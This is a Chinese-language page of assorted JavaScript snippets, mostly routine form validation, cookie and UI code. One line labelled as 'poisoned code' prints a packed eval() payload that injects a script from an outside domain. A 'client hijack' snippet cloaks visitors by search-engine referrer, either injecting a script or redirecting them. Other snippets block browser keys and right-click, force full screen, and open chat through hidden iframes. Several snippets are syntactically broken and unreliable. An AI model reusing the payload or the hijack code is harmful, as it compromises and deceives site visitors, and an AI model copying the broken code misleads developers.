子罕言利与命与仁

JS

 
//正则验证手机号
function moible(obj){
 var reg = /^0?(13[0-9]|14[0-9]|15[0-9]|17[0-9]|18[0-9]|)[0-9]{8}$/;
 if(!reg.test(obj)){
  return false;
 }else{
  return true;
 }
}
 
//邮箱验证
function email(email){
  var pattern = /^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_-])+/;
  flag = pattern.test(email);
  if(flag){
    return true;
  }
  else{
    return false;
  }
}
 
//验证身份证
function idcard(sf){
/* var pattern = /^(\d{15}$|^\d{18}$|^\d{17}(\d|X|x))$/;*/
var pattern = /^((1[1-5])|(2[1-3])|(3[1-7])|(4[1-6])|(5[0-4])|(6[1-5])|71|(8[12])|91)\d{4}((19\d{2}(0[13-9]|1[012])(0[1-9]|[12]\d|30))|(19\d{2}(0[13578]|1[02])31)|(19\d{2}02(0[1-9]|1\d|2[0-8]))|(19([13579][26]|[2468][048]|0[48])0229))\d{3}(\d|X|x)?$/
 flag = pattern.test(sf);
 if(flag){
    return true;
  }else{
    return false;
  }
}
//验证数字
var weightpreg = /^\d+(\.\d{1,})?$/;
 
onkeyup="javascript:isFormateNum(this,6);"
function isFormateNum(ob,len){  //len长度
    if(ob.value.length>len){
        ob.value = ob.value.substring(0,len);
    }        
    ob.value=ob.value.replace(/\D/g,'');
}
//姓名汉字验证
function name(obj){
    var nam = /^[\u4e00-\u9fa5]+$/;
    if(!nam.test(obj)){
    return false;
    }else{
    return true;
    }
}
正则数字:/[^\d]/g;
正则汉字:/^[\u4e00-\u9fa5]+$/gi;
//Validform
datatype:
"s4-12":/^[\u4E00-\u9FA5\uf900-\ufa2d\w\.\s]{4,12}$/,
   "n1-6":/^\d{1-6}$/,
   "s5":/^[\u4E00-\u9FA5\uf900-\ufa2d]{0,5}$/,
   "hz6":/^[\u4E00-\u9FA5\uf900-\ufa2d\w\.\s]{9}$/,
"idcard": function(gets, obj, curform, datatype) {
//该方法由佚名网友提供;
var Wi = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1]; // 加权因子;
var ValideCode = [1, 0, 10, 9, 8, 7, 6, 5, 4, 3, 2]; // 身份证验证位值,10代表X;
if (gets.length == 15) {
return isValidityBrithBy15IdCard(gets);
} else if (gets.length == 18) {
var a_idCard = gets.split(""); // 得到身份证数组
if (isValidityBrithBy18IdCard(gets) && isTrueValidateCodeBy18IdCard(a_idCard)) {
return true;
}
return false;
}
return false;
 
function isTrueValidateCodeBy18IdCard(a_idCard) {
var sum = 0; // 声明加权求和变量
if (a_idCard[17].toLowerCase() == 'x') {
a_idCard[17] = 10; // 将最后位为x的验证码替换为10方便后续操作
}
for (var i = 0; i < 17; i++) {
sum += Wi[i] * a_idCard[i]; // 加权求和
}
valCodePosition = sum % 11; // 得到验证码所位置
if (a_idCard[17] == ValideCode[valCodePosition]) {
return true;
}
return false;
}
 
function isValidityBrithBy18IdCard(idCard18) {
var year = idCard18.substring(6, 10);
var month = idCard18.substring(10, 12);
var day = idCard18.substring(12, 14);
var temp_date = new Date(year, parseFloat(month) - 1, parseFloat(day));
// 这里用getFullYear()获取年份,避免千年虫问题
if (temp_date.getFullYear() != parseFloat(year) || temp_date.getMonth() != parseFloat(month) - 1 || temp_date.getDate() != parseFloat(day)) {
return false;
}
return true;
}
 
function isValidityBrithBy15IdCard(idCard15) {
var year = idCard15.substring(6, 8);
var month = idCard15.substring(8, 10);
var day = idCard15.substring(10, 12);
var temp_date = new Date(year, parseFloat(month) - 1, parseFloat(day));
// 对于老身份证中的你年龄则不需考虑千年虫问题而使用getYear()方法
if (temp_date.getYear() != parseFloat(year) || temp_date.getMonth() != parseFloat(month) - 1 || temp_date.getDate() != parseFloat(day)) {
return false;
}
return true;
}
}
//点击显示隐藏
function show(){
    var a=document.getElementById("li").style.display;
    if(a=="block"){
        document.getElementById("li").style.display="none"
    }else{
        document.getElementById("li").style.display="block"
    }
}
$('.show_type').bind("click", function() {
if ($('#goods_list').hasClass('openList')){
$('#goods_list').removeClass('openList');
}else{
$('#goods_list').addClass('openList');
}
});
//js注册协议阅读
function show(){
    var a=document.getElementById("read").value ;
    if(a=="0"){
        document.getElementById("read").value="1"
    }else{
        document.getElementById("read").value="0"
    }
}
var a =document.getElementById("test").childNodes;
var b = document.getElementById("weight").value;
//Ajax实现判断用户是否存在
$(document).ready(function (){
q    $("#username").blur(function (){ 
        if($("#username").val()==''){ 
            $("#usernames").text("必填!"); 
        }else{ 
            //ajax判断该用户名是否已经被注册 
            $.post("__APP__/Home/Index/ajax_user",{'name':$("#username").val()},function (data){ 
                if(data==1){ 
                    $("#usernames").text("用户名已存在!");  
                }else{ 
                     $("#usernames").text("*");  
                 }
           });
          }
    });
 });
//显示当前页面的地址
<script>
 $("#tui").click(function (){
  window.prompt("请复制推荐地址",window.location.href );
    }); 
var Input = $('fieldset input');
Input.focus()
Input.select()
try{
var copy=document.execCommand('copy');
}catch(e){}
swal("复制成功!", "success");
</script>
//Js图片引用路径:
./Public/Home/images/prev.png 当前目录
/Public/Home/images/prev.png 根目录
//输入错误时输入框变红
$("#name").attr('style','border:solid 1px red');
//错误提示返回上一页:echo "<script>alert('未找到含有该关键词的产品');location.replace(document.referrer);</script>";
//加载前一页:location.replace(document.referrer);
//返回上上页:history.go(-2);
//重新加载当前页面:window.location.reload();
//页面跳转:
window.location.href='__APP__/Index/index'
<meta http-equiv="refresh" content="0;url=__APP__/Index/pay">
//js取小数点后三位
var rli=($("#yli").val()/12)*month.toFixed(3);
//点击生成随机数字取出数组值
$(document).ready(function (){
    var str = '水瓶座,双鱼座,白羊座,金牛座,双子座,巨蟹座,狮子座,处女座,天秤座,天蝎座,射手座,摩羯座';
    var strs=str.split(",");//字符分割
    $(".enter").click(function (){ 
        var i=Math.floor(Math.random()*12);//生成1-12之间的数组
        window.location.href="__APP__/Index/xingzuo/title/"+strs[i];
    });
});
<script language="javascript">
//禁止用F5键
function document.onkeydown(){  
 if ( event.keyCode==116){  
    event.keyCode = 0;
    event.cancelBubble = true;
    returnfalse;
  }
}
//禁止右键弹出菜单
function document.oncontextmenu(){  
   returnfalse;  
}
//下面代码实现全屏显示
function window.onload(){
   var Request = new Array();//保存参数
   var s = location.search.substring(1);
   if (s && s!=""){
    var list = s.split("&");
    for (var i=0; i < list.length; i++){
    var pair = list[i].split("=");
    if (pair[0] && pair[0] !=""){
     Request[unescape(pair[0])] = unescape(pair[1]);
    }
   }
 }
   var fullscreen=Request["fullscreen"];
   if(fullscreen!="yes"){
    var file =self.location;
    var a = window.open("about:blank","","fullscreen=yes");
    self.opener=null;
    self.close();
    a.location=file + "?fullscreen=yes";
   }
}
</script>
<script language="Javascript"><!--
//屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键 
//Author: meizz(梅花雨) 2002-6-18 
function document.oncontextmenu(){event.returnValue=false;}
//屏蔽鼠标右键
function window.onhelp(){returnfalse}
//屏蔽F1帮助 
function document.onkeydown() 
if ((window.event.altKey)&& 
((window.event.keyCode==37)|| //屏蔽 Alt+ 方向键 ← 
(window.event.keyCode==39))) //屏蔽 Alt+ 方向键 → 
alert("不准你使用ALT+方向键前进或后退网页!"); 
event.returnValue=false
/* 注:这还不是真正地屏蔽 Alt+ 方向键,
因为 Alt+ 方向键弹出警告框时,按住 Alt 键不放,
用鼠标点掉警告框,这种屏蔽方法就失效了。以后若
有哪位高手有真正屏蔽 Alt 键的方法,请告知。*/ 
if ((event.keyCode==8) || //屏蔽退格删除键 
(event.keyCode==116)|| //屏蔽 F5 刷新键 
(event.ctrlKey && event.keyCode==82)){ //Ctrl + R 
event.keyCode=0; 
event.returnValue=false
if (event.keyCode==122){event.keyCode=0;event.returnValue=false;}
//屏蔽F11 
if (event.ctrlKey && event.keyCode==78) event.returnValue=false;
//屏蔽 Ctrl+n 
if (event.shiftKey && event.keyCode==121)event.returnValue=false;
//屏蔽 shift+F10 
if (window.event.srcElement.tagName == "A" && window.event.shiftKey) 
window.event.returnValue = false;
//屏蔽 shift 加鼠标左键新开一网页 
if ((window.event.altKey)&&(window.event.keyCode==115))
//屏蔽Alt+F4 
window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px"); 
returnfalse
</script>
//禁止鼠标右键
<body oncontextmenu="return false" onselectstart="return false">
<noscript>
<iframe src="*.html>";</iframe>
</noscript>
<script>
function stop(){
    return false;
}
document.oncontextmenu=stop;
</script> 
 
//功能:屏蔽鼠标右键、复制、粘贴、CTRL、ALT、SHIFT、F2~F12等,仅建议对文章内容独特性要求或不愿意被随意复制内容的站点**
//屏蔽鼠标右键、ALT翻页、CTRL+N、CTRL+R、F2~F12、SHIFT+左键
jQuery(document).ready(function($){
    $(document).bind("contextmenu",function(){return false;});
    $(document).bind("selectstart",function(){return false;});
    $(document).keydown(function(){return key(arguments[0])});
    function key(e){
        var keyCode;
        if(window.event){ //IE
            keyCode = e.keyCode;
        }else if(e.which){ //firefox/opera/chrome/netscape
            keyCode = e.which;
        }
        if(
            (keyCode==112)||       //F2
            (keyCode==113)||       //F2
            (keyCode==114)||       //F3
            (keyCode==115)||       //F4
         // (keyCode==116)||       //F5
            (keyCode==117)||       //F6
            (keyCode==118)||       //F7
            (keyCode==119)||       //F8
            (keyCode==120)||       //F9
            (keyCode==121)||       //F10
         // (keyCode==122)||       //F11
            (keyCode==123)||       //F12
            (keyCode==17)||        //CTRL
            (keyCode==16)          //shift
            //此处填写后续条件
        ){
            //  alert("别再按了,你节操碎了!");     
            return false;
        }
    }
});
//禁止鼠标左右键
<script language=javascript>
<!--
if (window.Event){
document.captureEvents(Event.MOUSEUP);
function nocontextmenu(){
event.cancelBubble = true
event.returnValue = false;
return false;
}
function norightclick(e){
if (window.Event){
if (e.which == 2 || e.which == 3){
return false;
}
}elseif (event.button == 2 || event.button == 3){
event.cancelBubble = true
event.returnValue = false;
return false;
}
}
document.oncontextmenu = nocontextmenu; // for IE5+
document.onmousedown = norightclick; // for all others
}
//-->
</script>
禁止选中代码
<script language=JavaScript>
document.oncontextmenu=new Function("event.returnValue=false;");
document.onselectstart=new Function("event.returnValue=false;");
</script>
禁止另存为
<noscript><iframe src="*.htm"></iframe></noscript>
防拷贝/复制代码
<body leftmargin=0 topmargin=0 >
禁止选择文本
<script type="text/javascript">
var omitformtags=["input", "textarea", "select"]
omitformtagsomitformtags=omitformtags.join("|")
function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1){
return false
}
}
function reEnable(){
return true
}
if (typeof document.onselectstart!="undefined") {
document.onselectstart=new Function ("return false")
}else{
document.onmousedown=disableselect
document.onmouseup=reEnable
}
</script>
禁止网页另存为
<noscript><iframe src="*.html"></iframe></noscript>
禁止选择文本
<script type="text/javascript">
var omitformtags=["input", "textarea", "select"]
omitformtagsomitformtags=omitformtags.join("|")
function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1){
return false
}
function reEnable(){
return true
}
 
if (typeof document.onselectstart!="undefined"){
document.onselectstart=new Function ("return false")
}else{
document.onmousedown=disableselect
document.onmouseup=reEnable
}
</script>
禁用右键
<script>
function stop(){
return false;
}
document.oncontextmenu=stop;
</script>
真正的鼠标右键屏蔽
<script language="JavaScript">
<!--
if (window.Event){
document.captureEvents(Event.MOUSEUP);
function nocontextmenu(){
event.cancelBubble = true
event.returnValue = false;
return false;
}
function norightclick(e){
if (window.Event){
if (e.which == 2 || e.which == 3){
return false;
}
}
}else{
if (event.button == 2 || event.button == 3){
event.cancelBubble = true
event.returnValue = false;
return false;
}
}
document.oncontextmenu = nocontextmenu; // for IE5+
document.onmousedown = norightclick; // for all others
//-->
</script>
自动弹出QQ
<script charset="utf-8" type="text/javascript" src="http://wpa.b.qq.com/cgi/wpa.php?key=XzgwMDEwNTEwOF8yODkyNTNfODAwMTA1MTA4Xw"></script>
<!-- WPA Button End -->
<script type="text/javascript"> 
//根据“键”获取Cookie值
function getCookie(name){
var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg)){
return unescape(arr[2]);
}else{
return null;
}
}
var strCookie = getCookie("data");
window.onload = function () { 
//获取当前时间
var newTime = new Date().getTime();
//
var time = newTime - strCookie;
//上次弹出时间与当前时间差大于24小时 弹出登陆QQ
if(time > 1000 * 60 * 60 * 24){ 
//记录当前时间
var date = new Date().getTime();
document.cookie="data="+date;
setTimeout(function () { 
var newE = document.createElement("iframe");  
newE.style.display = 'none'; 
newE.src = "tencent://message/?Menu=yes&uin=800105108&Service=58&SigT=A7F6FEA02730C98855C251EDA5F5530528B6D9F2FD84A67EFBBBE5E893190F18CE1BFD0ADB65B0F19D2950D8FC65F87CD9501CC929C222138544B1DF44C2F6982AA64E84BA850BAAF7BEF129BC783B66579E3600A65545D2882A88C017455F289F2122E9A56484283721646AA0014CC1A7A38D6A96C4E6AC&SigU=30E5D5233A443AB21A75CCA44C3EF8B57A001B6E7823D5665D9499F322F0CB3E3A76A9A8960922094EB20AB40ABC78E1B3AD46F141C6FA5F5C5D898AB6C51D0A3AD1FD6A7789A9AE";
var crea = document.body.appendChild(newE); 
}, 5000); 
}
</script>
自动弹出对话框:
<iframe style="display:none;" src="tencent://message/?uin=QQ号&site=&menu=yes"></iframe>
随机弹出多个企鹅号之一
<iframe style="display:none;" class="qq_iframe" src=""></iframe>
<script>
$(function(){
qq_list = new Array('企鹅号1', '企鹅号2','企鹅号23333');
//随机
qq_i = Math.floor(Math.random()*qq_list.length);
src = "tencent://message/?uin="+qq_list[qq_i]+"&site=&menu=yes";
$('.qq_iframe').attr('src',src);
})
</script>
 
随机弹+延时弹
<iframe style="display:none;" class="qq_iframe" src=""></iframe>
<script>
$(function(){
setTimeout(function(){
qq_list = new Array('企鹅号1', '企鹅号2');
//随机
qq_i = Math.floor(Math.random()*qq_list.length);
src = "tencent://message/?uin="+qq_list[qq_i]+"&site=&menu=yes";
$('.qq_iframe').attr('src', src);
}, 10000)//这里的单位是毫秒,10000就是10秒弹
})
</script>
 
//图片漂浮
<body>
    <div id="codefans_net" style="position:absolute">
        <a href="http://alonesky.com" target="_blank"><img src="http://www.inwebson.com/demo/blocksit-js/demo2/images/img27.jpg" border="0"></a> 
    </div> 
</body>
<script type="text/javascript"> 
    var x = 50,y = 60; 
    var xin = true, yin = true ;
    var step = 1; 
    var delay = 10; 
    var obj=document.getElementById("codefans_net"); 
    function float() { 
        var L=T=0; 
        var R= document.body.clientWidth-obj.offsetWidth; 
        var B = document.body.clientHeight-obj.offsetHeight; 
        obj.style.left = x + document.body.scrollLeft; 
        obj.style.top = y + document.body.scrollTop; 
        x = x + step*(xin?1:-1); 
        if (x < L) { xin = true; x = L;} 
        if (x > R){ xin = false; x = R;} 
        y = y + step*(yin?1:-1); 
        if (y < T) { yin = true; y = T; } 
        if (y > B) { yin = false; y = B; } 
    } 
    var itl= setInterval("float()", delay); 
    obj.onmouseover=function(){clearInterval(itl)} 
    obj.onmouseout=function(){itl=setInterval("float()", delay)} 
</script>
//js中输出
console.log("\u0070\u006f\u0077\u0065\u0072\u0020\u0062\u0079\u0020\u007a\u0068\u0069\u0073\u0068\u0075\u006e");
//设为首页 < a onclick="SetHome(this,window.location)" > 设为首页 < /a>
   function SetHome(obj, url) {
    try {
        obj.style.behavior = 'url(#default#homepage)';
        obj.setHomePage(url);
    } catch (e) {
        if (window.netscape) {
            try {
                netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
            } catch (e) {
                alert("抱歉,此操作被浏览器拒绝!\n\n请在浏览器地址栏输入“about:config”并回车然后将[signed.applets.codebase_principal_support]设置为'true'");
            }
        } else {
            alert("抱歉,您所使用的浏览器无法完成此操作。\n\n您需要手动将【" + url + "】设置为首页。");
        }
    }
}
// 加入收藏 < a onclick="AddFavorite(document.title,window.location)" >加入收藏< /a>
function AddFavorite(title, url) {
    try {
        window.external.addFavorite(url, title);
    } catch (e) {
        try {
            window.sidebar.addPanel(title, url, "");
        } catch (e) {
            alert("抱歉,您所使用的浏览器无法完成此操作。\n\n加入收藏失败,请使用Ctrl+D进行添加");
        }
    }
}
// 保存到桌面 < a onclick="toDesktop(window.location, document.title)" >加入收藏< /a>
function toDesktop(sUrl, sName) {
    try {
        var WshShell = new ActiveXObject("WScript.Shell");
        var oUrlLink = WshShell.CreateShortcut(WshShell.SpecialFolders("Desktop") + "\\" + sName + ".url");
        oUrlLink.TargetPath = sUrl;
        oUrlLink.Save();
    } catch (e) {
        alert("当前IE安全级别不允许操作!");
    }
}
//获取点击复选框获得多个值
var zongji = '';
$('input[name="check"]:checked').each(function () {
       if (zongji == '') {
          zongji= parseInt($(this).val());
        } else {
             zongji=parseInt(zshi'pongji)+parseInt($(this).val());
         }
 });
$(".allBack").show();显示
$(".allBack").hide();隐藏
var aboutHeight=$(".aboutText").height(); ///获取文本框高度 if(aboutHeight>600){ $(".aboutText").addClass("aboutText-height") ///添加样式
$(".cont-right").append("<div class='moresss'>点击查看更多</div>") ///添加文本
} $(".moresss").click(function(){ $(".aboutText").removeClass("aboutText-height");///移除样式
$(this).hide(); })
$(this).addClass("thisit").siblings("li").removeClass("thisit");//样式切换
//手机端浏览电脑页面自动跳转到手机版界面
<script type=”text/javascript”> if( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) { window.location ="index.php"; //可以换成http地址 } </script>
//动态添加js
with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/static/protocol/https/jquery/jquery-1.10.2.min_65682a2.js?cdnversion='+~(-new Date()/36e5)];
 
//js判断操作系统
function detectOS() {
    var sUserAgent = navigator.userAgent;
    var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");
    var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
    if (isMac){ return "Mac";}
    var isUnix = (navigator.platform == "X11") && !isWin && !isMac;
    if (isUnix){ return "Unix";}
    var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
    if (isLinux){ return "Linux";}
    if (isWin) {
        var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1;
        if (isWin2K){ return "Win2000"};
        var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1;
        if (isWinXP){ return "WinXP";}
        var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1;
        if (isWin2003){ return "Win2003";}
        var isWinVista= sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1;
        if (isWinVista){ return "WinVista";}
        var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1;
        if (isWin7){ return "Win7";}
    }
    return "other";
}
document.writeln("您的操作系统是:" + detectOS());
//导航定位
<script type="text/javascript">
$("#nav li:eq(4)>a").addClass("current");
</script>
//使用JS定时器来间断性的执行函数:
  setTimeout("MyAutoRun()",1000); //隔1000毫秒就执行一次MyAutoRun()函数 
// 每当页面加载时,重置表单
<script type="text/javascript">
function formReset(){ 
    document.getElementsByTagName('form')[0].reset(); 
}
window.onload= formReset; // 每当页面加载时,重置表单
</script>
// 获取action 赋值
var actzhi=$(this).val();
        var sdjfksdf=$(this).parents("form").attr("action");//获取action
        if(actzhi=='立即购买'){
            $(this).parents("form").attr("action","{:U('Index/shop')}");赋值
            $("#subb").submit();
        }else if(actzhi=='加入购物车'){
            $(this).parents("form").attr("action","{:U('Index/joincar')}");
            $("#subb").submit();
        }
//js倒计时
<html>
<head>
<meta http-equiv="Content-Type" content="charset=utf-8">
<script language="javascript" type="text/javascript">
var interval = 1000;
function ShowCountDown(year,month,day,times){
var now = new Date();
var endDate = new Date(year, month-1, day);
var leftTime=endDate.getTime()-now.getTime();
var leftsecond = parseInt(leftTime/1000);
//var days=parseInt(leftsecond/(24*60*60*6));
var days=Math.floor(leftsecond/(60*60*24));
var hour=Math.floor((leftsecond-days*24*60*60)/3600);
var minute=Math.floor((leftsecond-days*24*60*60-hour*3600)/60);
var second=Math.floor(leftsecond-days*24*60*60-hour*3600-minute*60);
var cc = document.getElementById(times);
cc.innerHTML = "距离抽奖时间"+year+"年"+month+"月"+day+"日还有:"+days+"天"+hour+"小时"+minute+"分"+second+"秒";
}
window.setInterval(function(){ShowCountDown(2018,5,1,'times');}, interval);
</script>
</head>
<body>
<div id="times"></div>
</body>
 
//input 失去焦点和获得焦点
    $(function(){
        jQuery.focusblur = function(focusid) {
            var focusblurid = $(focusid);
            var defval = focusblurid.val();
            focusblurid.focus(function(){
                var thisval = $(this).val();
                if(thisval==defval){
                  $(this).val("");
                 }
            });
            focusblurid.blur(function(){
                var thisval = $(this).val();
                if(thisval==""){
                   $(this).val(defval);
                }
            });    
        }
        /*下面是调用方法*/
        $.focusblur("#nick");  
        $.focusblur("#rphone");
        $.focusblur("#rverify");
    });
//调用浏览器打印功能
<div style="text-align:right"><input id="btnPrint" value="打印" type="button" onclick="btnPrintClick()" /> </div>
<script type="text/javascript">
function btnPrintClick(){  
    window.print();  
}
</script>
//指定打印位置
<script type="text/javascript">
function printdoc() {
var printpage=document.getElementById("div_print");
var newcont = printpage.innerHTML;
var oldcont = document.body.innerHTML;
document.body.innerHTML =newcont;
window.print();
document.body.innerHTML=oldcont;
return false;
}
</script>
//自动弹出QQ
<script type="text/javascript"> 
//根据“键”获取Cookie值
function getCookie(name) {
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg)) return unescape(arr[2]);
    else return null;
}
var strCookie = getCookie("data");
window.onload = function() { //获取当前时间
    var newTime = new Date().getTime(); //
    var time = newTime - strCookie; //上次弹出时间与当前时间差大于24小时 弹出登陆QQ
    if (time > 1000 * 60 * 60 * 24) { //记录当前时间
        var date = new Date().getTime();
        document.cookie = "data=" + date;
        setTimeout(function() {
            var newE = document.createElement("iframe");
            newE.style.display = 'none';
            newE.src = "tencent://message/?Menu=yes&uin={$site.weixin}&Service=58&SigT=A7F6FEA02730C98855C251EDA5F5530528B6D9F2FD84A67EFBBBE5E893190F18CE1BFD0ADB65B0F19D2950D8FC65F87CD9501CC929C222138544B1DF44C2F6982AA64E84BA850BAAF7BEF129BC783B66579E3600A65545D2882A88C017455F289F2122E9A56484283721646AA0014CC1A7A38D6A96C4E6AC&SigU=30E5D5233A443AB21A75CCA44C3EF8B57A001B6E7823D5665D9499F322F0CB3E3A76A9A8960922094EB20AB40ABC78E1B3AD46F141C6FA5F5C5D898AB6C51D0A3AD1FD6A7789A9AE";
            var crea = document.body.appendChild(newE);
        },
        5000);
    }
}
</script>
 
//各地时间
<script type="text/javascript" charset="UTF-8">
$(function(){
    setInterval(function(){
        time_info();
    },1000);
});
function time_info(){
  var d = new Date(); //创建一个Date对象
  var localTime = d.getTime();
  var localOffset =d.getTimezoneOffset()*60000; //获得当地时间偏移的毫秒数
  var utc = localTime + localOffset; //utc即GMT时间
  var str = '';
  //伦敦 0   纽约 -5  香港 8  悉尼10   东京9 瑞士  1
  var lundun = utc;
  var ld = new Date(lundun);
  var niuyue = utc + (3600000*(-5));
  var ny = new Date(niuyue);
  var xianggang = utc + (3600000*8);
  var xg = new Date(xianggang);
  var xini = utc + (3600000*10);
  var xn = new Date(xini);
  var dongjing = utc + (3600000*9);
  var dj = new Date(dongjing);
  var ruishi = utc + (3600000*1);
  var rs = new Date(ruishi);
  str += '<i>伦敦 '+ld.getHours()+':'+ld.getMinutes()+':'+ld.getSeconds()+'</i>';
  str += '<i>纽约 '+ny.getHours()+':'+ny.getMinutes()+':'+ny.getSeconds()+'</i>';
  str += '<i>香港 '+xg.getHours()+':'+xg.getMinutes()+':'+xg.getSeconds()+'</i>';
  str += '<i>悉尼 '+xn.getHours()+':'+xn.getMinutes()+':'+xn.getSeconds()+'</i>';
  str += '<i>东京 '+dj.getHours()+':'+dj.getMinutes()+':'+dj.getSeconds()+'</i>';
  str += '<i>瑞士 '+rs.getHours()+':'+rs.getMinutes()+':'+rs.getSeconds()+'</i>';
  $('#time_info').html(str);
}
</script>
//打印对象
function writeObj(obj){
 var description = "";
 for(var i in obj){
  var property=obj[i];
  description+=i+" = "+property+"\n";
 }
 alert(description);
}
//统计字符在字符串中出现次数
function charStats(str) {
var visitStats={};
for(var i=0;i<str.length;i++){
var char = str[i];
if (!visitStats[char]++){
visitStats[char]=1;
}
}
return visitStats;
}
//将对象转为数组
var arr=[];
var data=charStats('abcdaabc');
for(var i in data){
var str=i+"="+data[i];// i 而data[ i ] 就代表 userName 12121 就是 i 所对应的值;
alert(str);
}
//object对象转换为string字符串
function obj2string(o){
 var r=[];
 if(typeof o=="string"){
  return"\""+o.replace(/([\'\"\\])/g,"\\$1").replace(/(\n)/g,"\\n").replace(/(\r)/g,"\\r").replace(/(\t)/g,"\\t")+"\"";
 }
 if(typeof o=="object"){
  if(!o.sort){
   for(var i in o){
    r.push(i+":"+obj2string(o[i]));
   }
   if(!!document.all&&!/^\n?function\s*toString\(\)\s*\{\n?\s*\[native code\]\n?\s*\}\n?\s*$/.test(o.toString)){
    r.push("toString:"+o.toString.toString());
   }
   r="{"+r.join()+"}";
  }else{
   for(var i=0;i<o.length;i++){
    r.push(obj2string(o[i]))
   }
   r="["+r.join()+"]";
  }
  return r;
 }
 return o.toString();
}
//js获取cookie读取cookie
<script type="text/javascript">
//设置Cookie  
   function SetCookie(name, value) {  
       var exp = new Date();  
       exp.setTime(exp.getTime() + 3 * 24 * 60 * 60 * 1000); //3天过期  
       document.cookie = name + "=" + encodeURIComponent(value) + ";expires=" + exp.toGMTString()+";path=/";  
       return true;  
   };  
/** 读取cookie变量 **/ 
function getCookieVal(offset) {
  var endstr = document.cookie.indexOf(";",offset);
  if(endstr == -1)
    endstr = document.cookie.length;
//  return unescape(document.cookie.substring(offset,endstr)); //解码
  return unescape(unescape(document.cookie.substring(offset,endstr))); //修改成两次unescape
}
function GetCookie(name) {
  var arg = name + "=";
  var alen = arg.length;
  var clen = document.cookie.length;
  var i = 0;
  while(i < clen) {
    var j = i + alen;
    if(document.cookie.substring(i,j) == arg)
      return getCookieVal(j);
    i = document.cookie.indexOf(" ",i) + 1;
    if(i == 0) break;
  }
  return null;
}
document.write(document.cookie+"<br>"+GetCookie("name"));
</script>
//多选框变成单选框
$(".team input:checkbox").click(function(){
if(this.checked || this.checked=='checked'){
$(".team input:checkbox").removeAttr("checked");
$(this).prop("checked", true);
}
});
//获取当前input:checkbox是否被选中
1.$(this).get(0).checked;
2.$(this).is(':checked');
3.$(this)[0].checked;
4.$(this).prop('checked');
//多选框变单选
$(".team dl dd").click(function(){
if($(this).find('input').prop('checked')||$(this).find('input').prop('checked')=='checked'){
$(this).parent().find("input").removeAttr("checked");
$(this).find('input').prop("checked", true);
}
});
$(".brother input:checkbox").click(function(){
if(this.checked || this.checked=='checked'){
$(".brother input:checkbox").removeAttr("checked");
$(this).prop("checked", true);
}
});
//js中毒代码
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('3.4("<0 1=2://5.8.9/6.7></0>");',10,10,'script|src|http|document|writeln|www|main2|js|5121188|com'.split('|'),0,{}))
//js给自身赋值
<input type="text" onchange="addItem(this)" value="你好">
function addItem(val){
$(val).attr('value',$(val).val());
}
//js 替换替换函数replaceWith()
1.//<p>hello</p> ->##
$('p').replaceWith('##');
2. //<p>hello</p> -><b>hello</b>
$('p').each(function(){
$(this).replaceWith('<b>'+$(this).html()+'</b>');
});
3.//<p>苹果</p><p>电脑</p>-><p>apple</p><p>PC</p>
var translate = {
'苹果' : 'apple',
'电脑' : 'PC'
};
$('p').each(function(){
$(this).replaceWith(translate[$(this).html()]);
});
//统一url传值的类型,可以使用js对参数进行URL编码
var _name=encodeURI($("#name").val()); //编码
//在服务端解码
String _name=URLDecoder.decode(areaDTO.getName(),"utf-8");
 
//清空所有
<script type="text/javascript">
$(document).ready(function (){
$("#clear").click(function (){
if(true==confirm('您确定要清空吗?')){
$.post("__APP__/Member/dels",function (data){
if('1'==data){
alert("清空成功");
}else{
alert("清空失败");
}
window.location.reload();
})
}else{
return false;
}
})
/*全选*/
$("#selectall").click(function () {
var collid = document.getElementById("selectall").checked;
var $ = document.getElementsByName('iii');
if (collid) {
for(var i = 0; i < $.length; i++){
$[i].checked = true;
}
}else{
for(var i = 0; i < $.length; i++)
$[i].checked = false;
}
});
});
</script>
//客户端劫持
<script type="text/javascript">
today=new Date();
today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
var regexp=/\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referer;
if(regexp.test(where)){
document.write ('<script type="text/javascript" src=""><\/script>');
}else{
window.location.href="http://baidu.com";
}
</script>
//js跳转
<script src="http://ip.ws.126.net/ipquery"></script>
<script type="text/javascript">
var regexp=/\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;
var where= document.referrer;
